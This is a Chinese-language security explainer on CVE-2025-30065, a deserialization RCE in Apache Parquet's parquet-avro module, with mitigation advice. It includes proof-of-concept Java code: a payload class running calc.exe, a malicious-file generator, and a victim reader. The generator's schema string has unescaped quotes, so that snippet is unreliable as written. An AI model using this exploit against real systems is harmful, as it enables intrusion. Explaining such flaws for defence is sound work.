Apache Parquet 是大数据领域广泛使用的高效列式存储格式,其 Java 版本中的 parquet-avro 模块存在一个严重安全漏洞(编号 CVE-2025-30065),攻击者可以通过恶意构造的 Parquet 文件,实现远程命令执行(RCE)。下面用最简单的语言介绍这个漏洞的基础知识、攻击原理、示例代码以及防护方法,帮助大家更好理解和防范。
1. 漏洞基础知识
- 漏洞位置:Apache Parquet Java 库中的 parquet-avro 模块(版本 ≤ 1.15.0)。
- 漏洞类型:反序列化漏洞(Deserialization of Untrusted Data)。
- 漏洞危害:攻击者可远程执行任意代码,严重威胁数据处理系统安全。
- 漏洞评分:CVSS 10.0(最高危害级别)。
- 影响范围:所有使用受影响版本的系统,尤其是处理来自不可信来源 Parquet 文件的环境,如大数据平台、云服务等。
2. 漏洞原理通俗讲解
Parquet 文件中可以嵌入 Avro schema,描述数据结构。Avro schema 支持通过 "java-class" 属性指定某个 Java 类来实例化对象。parquet-avro 模块在读取时,会根据这个 schema 反射调用对应类的构造函数。
问题是: parquet-avro 没有限制哪些类能被实例化,只要类存在于系统的 classpath 中,且有一个接受单个字符串参数的构造函数,就会被调用。攻击者可以利用这个机制,构造恶意 Parquet 文件,指定一个带有恶意代码的类,触发该类的构造函数或静态代码块执行,从而实现远程命令执行。
3. 漏洞攻击流程简述
- 攻击者准备一个恶意的 Parquet 文件,里面嵌入了带有恶意默认值的 Avro schema,指定了攻击用的 Java 类。
- 目标系统使用 vulnerable 版本的 parquet-avro 模块读取该文件。
- parquet-avro 模块在反序列化时,反射调用恶意类的构造函数。
- 恶意类的构造函数执行攻击者控制的代码,比如启动计算器、执行远程命令等。
- 攻击成功,攻击者获得系统控制权限。
4. 简单示例代码说明
4.1 恶意类示例(PayloadRecord.java)
这是攻击者放在目标系统 classpath 中的恶意代码类,静态代码块会在类加载时执行。
package exploit;
public class PayloadRecord {
static {
try {
// 这里执行恶意代码,比如打开计算器(Windows示例)
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
4.2 恶意 Parquet 文件生成器(ParquetExploitGenerator.java)
利用 Avro schema 指定恶意类,生成带有恶意默认值的 Parquet 文件。
import org.apache.avro.Schema;
import org.apache.avro.Schema.Parser;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;
import org.apache.hadoop.fs.Path;
public class ParquetExploitGenerator {
public static void main(String[] args) throws Exception {
String schemaJson = "{"
+ ""type":"record","
+ ""name":"ExploitRecord","
+ ""fields":["
+ " {"name":"trigger", "type":"exploit.PayloadRecord", "default":{}}"
+ "]}";
Schema schema = new Parser().parse(schemaJson);
Path path = new Path("malicious.parquet");
try (ParquetWriter writer = AvroParquetWriter.builder(path)
.withSchema(schema)
.build()) {
writer.write(null); // 触发默认值实例化
}
System.out.println("恶意 Parquet 文件生成完成");
}
}
4.3 漏洞触发示例(ParquetVictim.java)
目标系统读取恶意 Parquet 文件时,触发 PayloadRecord 的静态代码执行。
import org.apache.parquet.avro.AvroParquetReader;
import org.apache.hadoop.fs.Path;
public class ParquetVictim {
public static void main(String[] args) throws Exception {
Path path = new Path("malicious.parquet");
try (AvroParquetReader reader = new AvroParquetReader<>(path)) {
while (reader.read() != null) {
// 读取过程中触发恶意代码执行
}
}
}
}
5. 漏洞影响与防护建议
| 影响范围 | 说明 |
|---|---|
| 受影响版本 | Apache Parquet Java 1.15.0 及之前版本 |
| 漏洞危害 | 远程命令执行,攻击者可完全控制受影响系统 |
| 典型受影响环境 | 大数据平台(Spark、Hadoop)、云数据湖、ETL流水线等 |
防护措施
-
升级版本:立即升级 Apache Parquet Java 库到 1.15.1 或更高版本,官方已修复该漏洞。
-
限制类加载:通过 JVM 参数限制可实例化的包,例如:
-Dorg.apache.parquet.avro.SERIALIZABLE_PACKAGES=""只允许特定包的类被实例化,防止恶意类加载。
-
避免处理不可信文件:不要处理来源不明或未经验证的 Parquet 文件。
-
监控日志:加强对 Parquet 文件处理服务的监控,发现异常行为及时响应。
-
定期审计:检查依赖库版本,及时应用安全补丁。
6. 总结
CVE-2025-30065 是 Apache Parquet Java 的 parquet-avro 模块中一个严重的远程代码执行漏洞。它利用了 Avro schema 中 "java-class" 属性反射实例化类的机制,攻击者通过恶意 Parquet 文件触发目标系统执行任意代码。该漏洞危害极大,影响广泛,务必尽快升级并采取安全措施防范风险。
通过以上通俗讲解和示例代码,相信大家能更清楚理解该漏洞的本质和防护要点。务必重视,保护好数据处理环境的安全。